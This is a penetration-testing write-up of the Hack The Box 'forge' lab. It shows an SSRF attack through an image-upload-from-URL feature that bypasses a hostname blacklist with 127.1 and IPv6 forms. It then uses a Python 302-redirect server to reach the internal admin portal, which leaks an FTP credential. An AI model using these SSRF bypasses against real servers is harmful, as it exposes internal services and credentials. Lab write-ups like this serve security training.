SSRF


SSRF is suspected to be possible through the remote file uploading feature available at forge.htb/upload

Attempting to view the web root of admin.forge.htb

The web server response shows that there is a blacklist for addresses Some creativity required

Fails


Queries above failed

127.1


the http://127.1/ URL seems have gone through as the web server generated a URL for that.

┌──(kali㉿kali)-[~/archive/htb/labs/forge]
└─$ curl -s http://forge.htb/uploads/8mfW1AaGcrgbcb8vM9TQ
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<p>Additionally, a 400 Bad Request
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>apache/2.4.41 (ubuntu) server at dead:beef::250:56ff:feb9:7080 Port 80</address>
</body></html>

but the web server was unable to fetch the resource. code 400 despite of the fail, the web server reveals the ipv6 address; dead:beef::250:56ff:feb9:7080

IPv6


The URL with the IPv6 address went through

┌──(kali㉿kali)-[~/archive/htb/labs/forge]
└─$ curl -s http://forge.htb/uploads/RjvwT9iEKcti6jwrbm91 | html2text 
 
****** Gallery ******
****** Upload_an_image ******
 
 
   [/static/images/    [/static/images/image2.jpg] [/static/images/image3.jpg]
      image1.jpg]
   [/static/images/    [/static/images/image5.jpg] [/static/images/image6.jpg]
      image4.jpg]
   [/static/images/    [/static/images/image8.jpg] [/static/images/image9.jpg]
      image7.jpg]

Checking the uploaded & re-named file shows that the SSRF attack was successful as the web server fetched the resource of the web root

The slash character, /


So I tried again this time with /upload to check the source code of the uploading feature

However, the web server responses with an error this time. based on the error alone, this is a standard python error message generated by the urllib3 library Additionally, it is a DNS error. The web server was unable to properly resolve the requested URL(hostname) and resolved it as forge.htbupload It seems that the slash character, /, was perished during parsing

I tried URL-encoding the slash(/) character, but it just fails to parse

IPv4


┌──(kali㉿kali)-[~/archive/htb/labs/forge]
└─$ curl -s http://forge.htb/uploads/X8g2cfQGN4kOQ30k0AnB | html2text 
 
****** Gallery ******
****** Upload_an_image ******
 
 
   [/static/images/    [/static/images/image2.jpg] [/static/images/image3.jpg]
      image1.jpg]
   [/static/images/    [/static/images/image5.jpg] [/static/images/image6.jpg]
      image4.jpg]
   [/static/images/    [/static/images/image8.jpg] [/static/images/image9.jpg]
      image7.jpg]

The IPv4 address seems to be working as well

However I get the same issue if I request to /upload

The Blacklisted Word


After many trials and errors, I found the following

As shown, both admin.orge.htb and admin.forge.ht were properly recognized This tells me that the exact blacklisted word is forge.htb I just need to find a way to obfuscate it so that

This also shows that.

open redirection


Since I am unable to workaround the blacklisted word, forge.htb, I will try bypassing it all together using the Open Redirection technique

For that, I created a simple web server that would send clients the code 302 to admin.forge.htb

import http.server
import socketserver
 
class RedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://admin.forge.htb")
        self.end_headers()
 
PORT = 80
 
with socketserver.TCPServer(("", PORT), RedirectHandler) as httpd:
    print(f"Serving at 0.0.0.0:{PORT}")
    httpd.serve_forever()

The goal is to have the target web application access the custom web server on Kali The Kali web sever above will then response with the code 302, pointing to http://admin.forge.htb The target web application (hopefully) will follow the redirection and save the source code for me

admin.forge.htb


┌──(kali㉿kali)-[~/archive/htb/labs/forge]
└─$ python3 redirect.py
serving at 0.0.0.0:80

Starting the redirect.py web server

Submitting

Success!

the “file” was uploaded to http://forge.htb/uploads/TvVevsZw37SZSww5MTe0

┌──(kali㉿kali)-[~/…/htb/labs/forge/bypass-url-parser]
└─$ curl -s http://forge.htb/uploads/TvVevsZw37SZSww5MTe0            
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

This way, I am able to access the sub-domain / virtual host at admin.forge.htb Based on the source code shown above, there are 2 resources available at /announcements and /upload

admin.forge.htb/announcements


I need to fix the redirect.py web sever to fetch the resource that I need at admin.forge.htb/announcements

Successful. It was uploaded to http://forge.htb/uploads/9zyGAtX69PUErfl3HbVe

┌──(kali㉿kali)-[~/archive/htb/labs/forge]
└─$ curl -s http://forge.htb/uploads/9zyGAtX69PUErfl3HbVe
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>                                                                                                                                                                                     

Checking the source reveals some critical information

  • user:heightofsecurity123! is the internal FTP credential
  • The /upload endpoints now supports additional ftp and ftps protocol for file upload
  • The u parameter can be used for easy file upload
    • The rest,&lt;url&gt;, is a HTML placeholder for <url>

While I do not know how the internal FTP server is mapped, I may be able to get code execution if it so happens to be serving the public-facing web server

It would look like this in the browser without any JS or CSS

admin.forge.htb/upload


I need to fix the redirect.py web sever to fetch the resource that I need at admin.forge.htb/upload

i sent in again and it was uploaded to http://forge.htb/uploads/Ff5bcrXTTG3s36SxAlhQ

┌──(kali㉿kali)-[~/archive/htb/labs/forge]
└─$ curl -s http://forge.htb/uploads/Ff5bcrXTTG3s36SxAlhQ
<!DOCTYPE html>
<html>
<head>
    <title>Upload an image</title>
</head>
<body onload="show_upload_local_file()">
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/upload.css">
    <script type="text/javascript" src="/static/js/main.js"></script>
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <center>
        <br><br>
        <div id="content">
            <h2 onclick="show_upload_local_file()">
                Upload local file
            </h2>
            <h2 onclick="show_upload_remote_file()">
                Upload from url
            </h2>
            <div id="form-div">
                
            </div>
        </div>
    </center>
    <br>
    <br>
</body>
</html>

It seems that admin.forge.htb/upload also features file upload that is rather identical to forge.htb/upload, based on the source code alone

Nevertheless, I will check out the internal FTP server